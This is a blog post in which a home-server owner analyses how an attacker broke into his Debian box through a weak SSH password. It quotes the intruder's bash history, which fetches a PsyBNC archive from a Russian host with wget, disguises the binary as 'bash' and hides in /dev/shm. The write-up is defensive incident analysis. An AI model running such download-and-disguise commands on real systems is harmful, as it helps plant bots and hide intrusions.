Today my Debian Linux home server got compromised – and I have to honestly admit it – due to poor security on my end.
I took little security measures to secure the box. It is basically a default Debian Linux web/file server installation. I also created a couple of user accounts for some friends of mine, so that they could access the Samba shares during LAN events.
Discovery of the attack
When I logged on to the server via SSH, I coincidentally checked which users were logged in:
1 2 3 4 5 | rjm@fury:~$ w 21:08:15 up 60 days, 18:26, 2 users, load average: 0.08, 0.12, 0.09 USER TTY FROM IDLE WHAT ruben pts/1 78.97.204.74 0.00s tar zxvf psybnc-linux.tar.gz rjm pts/2 145.93:S.0 0.00s w |
User ruben was logged on from an IP address located somewhere in Romania. Ruben works for IBM, so my first thought was that he accessed the server via the IBM network and happens to have a foreign IP address (after all, IBM is known for off shoring work). For the record, I work with people from Romania at my job, so the whole Romania thing didn’t set off any alarms.
The info under the ‘what’ column did set off alarm bells! The program PsyBNC is by itself harmless, it is a well known IRC bouncer. But it does have a notorious reputation due to the fact that it is often used for malicious purposes. As it soon turns out, this was exactly the case.
Next stop was to checkout the user’s bash history file. And it sure had all the tell tales of a hack in progress. So I quickly shutdown the server to stop the attack in progress. This approach does have it’s downsides as you can no longer analyze the running processes, and in theory this could have triggered any logic bombs to go off that may have been installed by the attacker. But I had to take the risk. I did not have physical access to the server at the time, so I couldn’t simply unplug the network cable. I suppose I could have shutdown just the network interfaces or set a firewall rule, but I got a bit paranoid.
Analysis of the attack
When I returned home, I unplugged the network cable and powered the server back on. Here’s the full contents of the user’s bash history file (the user account was not used before):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | cd /dev/shm mkdir " " ls hackers.front.ru/psybnc/psybnc-linux.tar.gz wget hackers.front.ru/psybnc/psybnc-linux.tar.gz tar zxvf psybnc-linux.tar.gz cd .public_html/ chmod +x * ls ./bash http://download.microsoft.com/download/win2000platform/SP/SP3/NT5/EN-US/W2Ksp3.exe wget http://download.microsoft.com/download/win2000platform/SP/SP3/NT5/EN-US/W2Ksp3.exe rm-rf W2Ksp3.exe rm -rf W2Ksp3.exe cd .. ls uname -a cat /proc/cpuinfo passwd |
Lines #1 and #2 tell us that the attacker has created a new directory (using spaces) in the shared memory directory, probably with the intention to masquerade his (or her) tracks (/dev/shm is volatile by nature and cleared when the server is shutdown or rebooted). Suspicious behavior to say the least. However, in the subsequent commands the new directory is never used, at least not from the command prompt.
Lines #4 and #5 reveal that the attacker is probably a script kiddie since the attacker pasted the URL and pressed enter without prepending it first with wget (as you can see in line #5). This command downloads an archive from a host in Russia and by what you can assume to some degree by just looking at the command, the archive contains a version of PsyBNC for Linux.
Lines #6 to #10 give away that the attacker tries to masquerade the use of PsyBNC by having the executable renamed to bash, to ‘disguise’ itself as the Bash shell. So, at this point the attacker downloaded a program from the internet and is running it on my server, albeit as a normal user, still very scary…
Lines #11 to #14 show that the attacker downloaded SP3 (Service Pack 3) for Windows 2000. The attacker made the same mistake here by not prepending the command with wget. Immediately after the download the attacker removes (or tries to remove) the downloaded file. Now why would an attacker download a service pack for Windows on to a Linux server and then remove it? I guess the attacker just wanted to know how fast my internet connection is. After all, if you would need a service pack for a Windows 2000 installation, wouldn’t you want to download the latest version, SP4 instead? I think so…
The remaining lines show that the attacker was interested in some information about the system. The last line (moments before I shutdown the server) the attacker changed the password of the user. Which is weird, considering the fact that the attacker was trying to remain stealthy. If the real Ruben would attempt to log on to the system, he would surely be unable to with the password I gave him. Then I would probably just have reset the password for Ruben and locked out the attacker.
How the attacker got access
So we know that the attacker got in and what the attacker did once he (or she, the attacker might be Romanian after all) got in. But how exactly did the attacker got access in the first place? It’s shameful to admit, but the username and password were the same. Yes, that’s right. I was asking for trouble. If the username had been a bit more sophisticated or not as international as the name ‘Ruben’ it may have worked. But the name Ruben is listed in dictionaries that attackers often use when performing a dictionary based password attack. Since the default configuration for logrotate on Debian Linux purges auth log files older than 7 weeks, I can’t exactly tell when the dictionary based attack started. But the attack must have been running for quiet some time already. Some simple security measures would have perfectly prevented this kind of attack.
Why was my server a target?
So why was my server a target? Some may think it is because you’re running a number of well known services that are accessible from the internet and fit the profile of a company server, thus making it an interesting target. Wrong.
I have learned that attackers scan entire ranges of IP addresses – that are known to belong to broadband internet service providers – using previously compromised (or owned as they call it) hosts. For the simple fact that they provide their customers with fast internet connections that are up 24/7. And that is exactly what the attackers are after. They need to expand there bot nets (which in turn can be used to perform DDoS attacks or sent SPAM e.g.) and can’t rely on computers that may or may not be online if it were for dial-up.
If attackers already have a bot net (which they often do), then changing your SSH port to anything but the default port (22) will not help much. Since a (distributed) port scan will only take them a couple of minutes, if not, seconds!
Update 14-jan-2011
Continue reading about the story in the follow up: “Debian Linux home server compromised – Contingency”.
Wow, this was exciting! Thank you for sharing! I have to secure my own home server too.